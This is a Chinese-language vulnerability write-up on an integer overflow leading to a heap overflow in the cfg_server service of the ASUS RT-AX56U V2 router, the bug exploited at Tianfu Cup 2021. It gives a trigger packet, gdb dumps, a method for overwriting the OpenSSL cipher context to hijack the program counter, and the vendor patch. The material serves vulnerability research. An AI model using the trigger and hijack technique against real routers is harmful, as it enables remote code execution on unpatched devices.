作者:cq674350529
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
2021年天府杯破解大賽的設備類項目包含群暉和華碩兩個項目,其中,群暉設備(DS220j
)暫時無選手攻破,而華碩設備(RT-AX56U V2/熱血版
)則被兩隊選手成功拿下。筆者在前期主要關注群暉設備,也順帶看了下華碩設備,雖然發現了其他的小問題,但是未發現這個整數溢出漏洞 。目前華碩官方已發布對應的補丁,網上也有其他師傅對這個漏洞進行了詳細的分析,感興趣地可以看看 "天府杯華碩會戰的圍剿與反圍剿" 和 。參考上面兩篇文章,下文將對漏洞進行分析,并重點關注漏洞的利用思路。
環境準備
華碩RT-AX56U
型號設備有兩個版本:RT-AX56U
和RT-AX56U V2/熱血版
,這兩個版本的設備固件大體上相似,存在些許差異。該漏洞在這兩個版本中均存在,由于手邊有一個RT-AX56U V2
型號的真實設備,故這里基于RT-AX56U_V2 3.0.0.4.386_45898
固件版本進行分析。
RT-AX56U
對應的固件名稱為"FW_RT_AX56U_xxxxxx",RT-AX56U V2/熱血版
對應的固件名稱為"FW_RT_AX55_xxxxxxs"。從官方下載鏈接來看,RT-AX56U
對應的歷史固件比較多,因此也可以基于該版本進行分析。
該設備支持Telnet
和SSH
功能,開啟Telnet
后登錄到設備,即可獲取設備的root shell
,便于后續的分析和調試。
華碩路由器固件遵循
GPL
協議,在網上可以搜索到相關代碼。其中,asuswrt-merlin項目中的一些源碼與華碩路由器固件中的部分代碼對應,值得借鑒參考。
漏洞分析
設備上開放的部分端口信息如下。其中,cfg_server
進程監聽7788/tcp
和7788/udp
端口,而漏洞就存在于該進程中。
# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5152 0.0.0.0:* LISTEN 362/envrams
tcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN 1131/wanduck
tcp 0 0 0.0.0.0:46340 0.0.0.0:* LISTEN 1301/miniupnpd
tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN 1331/cfg_server # <===
tcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN 1222/httpd
udp 0 0 192.168.1.1:52738 0.0.0.0:* 1301/miniupnpd
udp 0 0 0.0.0.0:9999 0.0.0.0:* 1223/infosvr
udp 0 0 0.0.0.0:18018 0.0.0.0:* 1131/wanduck
udp 0 0 0.0.0.0:7788 0.0.0.0:* 1331/cfg_server # <===
udp 0 0 0.0.0.0:1900 0.0.0.0:* 1301/miniupnpd
udp 0 0 0.0.0.0:59000 0.0.0.0:* 1159/eapd
udp 0 0 192.168.1.1:5351 0.0.0.0:* 1301/miniupnpd
使用IDA
對該程序進行分析,在cm_rcvTcpHandler()
中,會調用pthread_create()
創建一個新的線程來對連接進行處理。
void cm_rcvTcpHandler(int a1)
{
// ...
v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len);
if ( v5 >= 0 )
{
*v2 = v5;
if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) )
{
// ...
在cm_tcpPacketHandler()
中,調用read_tcp_message()
讀取socket
數據之后,再調用cm_packetProcess()
進行處理。
int cm_tcpPacketHandler(int *a1)
{
// ...
if ( v20[0] )
{
// ...
while ( 1 )
{
memset(v21, 0, 0x4000u);
v10 = read_tcp_message(v2, v21, 0x4000u);
if ( v10 <= 0 )
break;
if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )
// ...
在cm_packetProcess()
中,其主要功能是根據接收數據的前4
個字節的內容,在packetHandlers
中匹配對應的opcode
,匹配成功的話則調用對應的處理函數。
int cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
v7 = a2; // recv_buf
// ...
while ( 2 )
{
if ( v14 >= (int)a3 )
return 0;
v15 = v14 + 12;
if ( v15 <= a3 )
{
v19 = *v7; v20 = v7[1]; v21 = v7 + 3;
v46 = v19; v47 = v20; v48 = *(v21 - 1);
v22 = v19;
// ...
v24 = bswap32(v22);
v28 = 0;
while ( 1 )
{
v29 = &packetHandlers[v28];
v30 = packetHandlers[v28];
if ( v30 <= 0 )
break;
v28 += 2;
if ( v30 == v24 ) // match opcode
goto LABEL_27;
}
if ( *v29 < 0 )
{ /* ... */ }
else
{
LABEL_27:
if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) ) // call function
{
// ...
經過分析,接收的消息數據包的格式為類似TLV(type-length-value)
的格式,其中多了一個checksum
字段,如下。
struct msg {
uint32_t type;
uint32_t length; // length of value
uint32_t checksum; // crc32 of value
char* value;
}
在packetHandlers
地址處包含的opcode
與function pointer
的示例如下。通過指定數據包中的type
字段,即可調用packetHandlers
中對應的處理函數。
.data:000AE4A4 packetHandlers DCD 1 ; DATA XREF: LOAD:00011820↑o
.data:000AE4A4 ; cm_packetProcess+2F8↑o ...
.data:000AE4A8 DCD cm_processREQ_KU
.data:000AE4AC DCD 3
.data:000AE4B0 DCD cm_processREQ_NC
.data:000AE4B4 DCD 5
.data:000AE4B8 DCD cm_processREP_OK
.data:000AE4BC DCD 8
.data:000AE4C0 DCD cm_processREQ_CHK
.data:000AE4C4 DCD 0xA
.data:000AE4C8 DCD cm_processACK_CHK
; ...
.data:000AE51C DCD 0x28
.data:000AE520 DCD cm_processREQ_GROUPID
.data:000AE524 DCD 0x2A
.data:000AE528 DCD cm_processACK_GROUPID
; ...
.data:000AE55C DCD 0x3B
.data:000AE560 DCD cm_processREQ_LEVEL
.data:000AE564 DCD 0xFFFFFFFF
通過對上述處理函數進行分析,發現大多數函數都會先對value
部分的內容進行AES
解密,然后再對解密后的內容進行處理,而漏洞就存在于AES
解密的過程中。以cm_processREQ_GROUPID()
為例,在(1)
處對checksum
進行校驗,通過后在(2)
處會調用aes_decrypt()
對數據進行解密。在aes_decrypt()
中,在(3)
處計算EVP_CIPHER_CTX_block_size(ctx) + tlv_length
,然后將其傳入malloc()
中。由于未對tlv_length
的值進行校驗,當偽造tlv_length=0xfffffffa
時,在(3)
處會出現整數溢出,使得malloc()
申請一塊很小的內存,造成后續在循環調用EVP_DecryptUpdate()
往該內存中寫數據時出現堆溢出。
int cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr)
{
// ...
v11 = get_onboarding_key();
if ( v11 )
{
v15 = bswap32(tlv_length);
if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) ) // (1) verify checksum
{
/* checksum fail */
}
// ...
v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42); // (2)
// ...
char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
// ...
out_len[0] = 0;
ctx = EVP_CIPHER_CTX_new();
cipher = EVP_aes_256_ecb();
v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
if ( v10 )
{
*decodeMsgLen = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow
v12 = malloc(v11); // (4)
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
out = (int)v10;
for ( i = tlv_length; ; i -= 16 )
{
in = tlv_value_ptr + tlv_length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out += out_len[0];
*decodeMsgLen += out_len[0];
}
// ...
因此,通過構造類似如下的數據,即可觸發漏洞。其中,設置checksum=0
即可,因為在calc_checksum()
中,當tlv_length=0xfffffffa
時,由于條件不成立會直接返回,計算的結果為0
。
tlv = p32(0x28, ">")
tlv += p32(0xfffffffa, ">")
tlv += p32(0)
tlv += 'a' * 0x10
"""
unsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length)
{
char v3; // t1
while ( --tlv_length >= 0 ) // condition fail if tlv_length is negative
{
v3 = *tlv_value_ptr++;
result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
}
return result;
}
"""
漏洞利用
如前所述,在packetHandlers
地址處包含的處理函數中,很多都會調用cm_aesDecryptMsg()
或aes_decrypt()
對value
部分的內容進行解密。經過測試,似乎只有函數cm_processREQ_GROUPID()
和cm_processACK_GROUPID()
可以無條件觸發,其他函數會依賴sessionKey
來對數據進行解密或者路徑上的某個條件不滿足,造成無法觸發漏洞。因此,這里選擇通過cm_processREQ_GROUPID()
來觸發漏洞。
sessionKey
的部分內容無法事先獲取
漏洞的原理和觸發很簡單,但是該如何進行漏洞利用呢?根據之前的分析,漏洞是由于整數溢出造成的堆溢出,假設tlv_length=0xfffffffa
,后續在循環調用EVP_DecryptUpdate()
時會嘗試寫入長度為0xfffffffa
的數據,在這個過程中會出現非法內存發訪問造成程序崩潰。因此,想要進行漏洞利用,最好是在調用EVP_DecryptUpdate()
或者EVP_CIPHER_CTX_free(ctx)
的過程中完成。
char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
// ...
ctx = EVP_CIPHER_CTX_new();
cipher = EVP_aes_256_ecb();
v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
if ( v10 )
{
*decodeMsgLen = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow
v12 = malloc(v11); // (4)
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
for ( i = tlv_length; ; i -= 16 )
{
in = tlv_value_ptr + tlv_length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow <===
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx); <===
free(v10);
// ...
參考@CataLpa
師傅文章的思路,以EVP_DecryptUpdate()
為例,其部分示例代碼如下。可以看到后續會調用*ctx+0x18
處的函數指針,如果能覆蓋ctx
結構體中的cipher
指針(對應*ctx
),則有可能使程序流程執行到(6)
處,從而劫持程序的控制流。說明:在(6)
處,正常的流程是調用evp_EncryptDecryptUpdate()
,evp_EncryptDecryptUpdate()
中也存在類似調用*ctx+0x18
處的函數指針的代碼。另外,如果能覆蓋ctx
結構體中的cipher
指針,也可以使EVP_DecryptUpdate()
提前返回,然后調用EVP_CIPHER_CTX_free(ctx)
,思路類似。
/usr/lib/libcrypto.so.1.1
對應的OpenSSL
版本為1.1.1k
bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)
{
v5 = ctx[2];
// ...
v9 = *(_DWORD *)(*ctx + 4); // ctx->cipher->block_size
// ...
v12 = *ctx;
if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )
{
if ( (ctx[23] & 0x100) != 0 )
return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
// ...
v17 = ctx[25];
// ...
v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
if ( v5 )
{
if ( v9 <= 1 || ctx[3] )
{
v19 = 0;
ctx[25] = 0;
}
else
{
*out_len -= v9;
ctx[25] = 1;
memcpy(ctx + 27, &out[*out_len], v9);
}
if ( v17 )
v19 = *out_len;
v5 = 1;
if ( v17 )
*out_len = v19 + v9;
}
return v5;
}
if ( v9 == 1 )
{
// ...
}
LABEL_11:
v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===
通過組合發送不同的請求,以及調整構造的數據包的內容,在一定情況下可以得到如下的內存布局,其中0xb6400a60
為ctx
結構體的指針,0xb6400a48
為malloc()
返回的地址。可以看到,確實可以通過覆蓋ctx
結構體中cipher指針
(這里是0xb6ef6b1c
)的方式來劫持程序控制流,但問題是用什么地址來覆蓋?需要有一塊內容可控的地址。通過對cfg_server
的其他功能進行分析,暫時未找到對應的操作來實現向.data/.bss
等區域寫入可控內容。因此,采用這種方式可能需要結合爆破或其他方法。
實際測試時,這種內存布局似乎也不是特別穩定 :(
(gdb) c
Continuing.
[New Thread 19239.19346]
0xb6400a60, 0xb6400a48 ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc()
[Switching to Thread 19239.19346]
=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt>
0x1da00 <aes_decrypt+264>: subs r3, r0, #0
0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328>
0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>
Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) x/4wx 0xb6400a60
0xb6400a60: 0xb6ef6b1c 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0xb6400a48
0xb6400a48: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a58: 0x00000000 0x00000095 0xb6ef6b1c 0x00000000 ; 覆蓋0xb6ef6b1c為內容可控的地址
0xb6400a68: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a78: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a88: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0xb6ef6b1c
0xb6ef6b1c: 0x000001aa 0x00000010 0x00000020 0x00000000
0xb6ef6b2c: 0x00001001 0xb6e27480 0xb6e27710 0x00000000
0xb6ef6b3c: 0x00000100 0x00000000 0x00000000 0x00000000
0xb6ef6b4c: 0x00000000 0x00000383 0x00000001 0x00000018
0xb6ef6b5c: 0x0000000c 0x00301c77 0xb6e28fac 0xb6e28b40
后來又請教了@Yimi Hu
師傅,學到了另一種更簡單也更穩定的思路。假設還是嘗試覆蓋ctx
結構體中的cipher指針
,通過組合發送不同的請求,以及調整構造的數據包內容,可得到內存布局如下。測試發現,continue
后程序崩潰,PC
寄存器的內容似乎被覆蓋了,但與發送的數據不一致。
(gdb) c
Continuing.
[New Thread 20697.23444]
0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
[Switching to Thread 20697.23444]
=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt>
0x1da00 <aes_decrypt+264>: subs r3, r0, #0
0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328>
0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>
Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) disable 1
(gdb) c
Continuing.
[New Thread 20697.23558]
Thread 4 "cfg_server" received signal SIGSEGV, Segmentation fault.
=> 0x325e5d34: Error while running hook_stop:
Cannot access memory at address 0x325e5d34
0x325e5d34 in ?? ()
(gdb) bt
#0 0x325e5d34 in ?? ()
#1 0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1
查看崩潰處的代碼,示例如下。可以看到,PC
寄存器(對應R3
寄存器)的值來自于*(v11+0xF8)
,而v11
來自于*(_DWORD *)(ctx + 96)
,即PC=*(*(_DWORD *)(ctx + 96)+0xF8)
。
int __fastcall do_cipher(int ctx, int out, int in, unsigned int inl)
{
v8 = EVP_CIPHER_CTX_block_size(ctx);
v9 = EVP_CIPHER_CTX_get_cipher_data(ctx); // (6)
if ( v8 <= inl )
{
v10 = inl - v8;
v11 = v9;
v12 = in;
do
{
v13 = v12;
v12 += v8;
/* .text:B6E3F748 LDR R3, [R7,#0xF8]
.text:B6E3F74C MOV R1, R5
.text:B6E3F750 MOV R0, R4
.text:B6E3F754 MOV R2, R7
.text:B6E3F758 ADD R4, R4, R6
.text:B6E3F75C BLX R3
.text:B6E3F760 RSB R3, R10, R4
*/
(*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11); // (7) call AES_decrypt()
out += v8;
}
while ( v10 >= v12 - in );
}
return 1;
}
int EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
return *(_DWORD *)(ctx + 96);
}
對應地址處的內容如下。可以發現,在嘗試從地址0xb6600a48
溢出到0xb6602040
的過程中,已經能覆蓋地址0xb6601380
處的內容了,即劫持了PC
寄存器,但PC
寄存器的值與預期(0x30303030
)不一致。通過查看解密的內容,發現從0xb6600fe8
開始,解密的內容與預期的就不一致了,猜測可能是在0xb6600fd8
處覆蓋了和解密相關的數據如密鑰。
;0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
(gdb) x/4wx 0xb6602040+96 ; ctx + 96
0xb66020a0: 0xb6601288 0x00000001 0x0000000f 0xc53430e9
(gdb) x/4wx 0xb6601288+0xf8 ; v11 + 0xF8
0xb6601380: 0x325e5d36 0x571e1e57 0x00000000 0x00000031
(gdb) x/20wx 0xb6600fc8
0xb6600fc8: 0x30303030 0x30303030 0x30303030 0x30303030
0xb6600fd8: 0x30303030 0x30303030 0x30303030 0x30303030
0xb6600fe8: 0x8c8b045e 0xc7ea483a 0xa382ee1b 0xc3ad7553 ; 解密數據與預期不一致
0xb6600ff8: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7
0xb6601008: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7
解決的方式很簡單,只要在發送的原始數據包中包含相應的內容,使得某些地址處覆蓋前后的內容一致,即可保證解密后的數據和預期的一致。具體地,在(7)
處正常是調用AES_decrypt()
,第3
個參數即v11
為aes_key_st
結構體,其與解密密鑰相關,因此需要保證0xb6601288
地址開始處的一段內容在覆蓋前后保持不變。而上面提到的0xb6600fd8
地址處,也有一小部分數據(暫時未理解其用途 )會影響解密的結果,也需要保持不變。
不同的內存布局可能存在細微差異。經測試,上述內存布局比較穩定。
void AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);
# define AES_MAXNR 14
struct aes_key_st {
unsigned int rd_key[4 * (AES_MAXNR + 1)];
int rounds;
};
typedef struct aes_key_st AES_KEY;
aes_key_st
結構體的原始內容可以dump
出來,或者參考AES_set_decrypt_key()
自行生成。
之后,即可在(7)
處正常劫持PC
,同時第一個參數指向用戶發送的內容,很容易實現代碼執行的目的。
補丁分析
在版本RT-AX56U_V2 3.0.0.4.386_49559
中,在cm_packetProcess()
中增加了對數據包中tlv_length
字段的校驗,如下。可以看到,在開始部分,會先對接收數據包的長度recv_data_len
和數據包中的tlv_length
字段之間的關系進行校驗。而在調用read_tcp_message()
讀取數據包時,每次最多讀取0x4000
字節,故該校驗可保證tlv_length
字段的值不會太大,不會造成后續出現整數溢出問題。
int cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7)
{
v7 = recv_buf;
// ...
v14 = 0;
while ( 2 )
{
if ( v14 >= (int)recv_data_len )
return 0;
v15 = v14 + 12;
if ( v15 <= recv_data_len )
{
v45 = *v7; // type
v46 = v7[1]; // length
v47 = v7[2]; // checksum
if ( recv_data_len - 12 != bswap32(v46) ) // check tlv_length
{
// checking length error
}
// ...
小結
本文基于RT-AX56U V2
型號設備,對2021
年天府杯破解大賽華碩設備中的漏洞進行了分析,并重點介紹了漏洞利用的思路。在嘗試進行漏洞利用的過程中,一方面需要對目標設備的功能比較熟悉;另一方面,在沒有思路的時候多嘗試(如進行fuzz
)和多調試,可能會有意向不到的結果。另外,文章中給出的思路是基于@Yimi Hu
和@CataLpa
兩位師傅的文章,實際比賽中采用的利用思路不得而知,再次感謝@Yimi Hu
和@CataLpa
的幫助。
相關鏈接
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2098/
暫無評論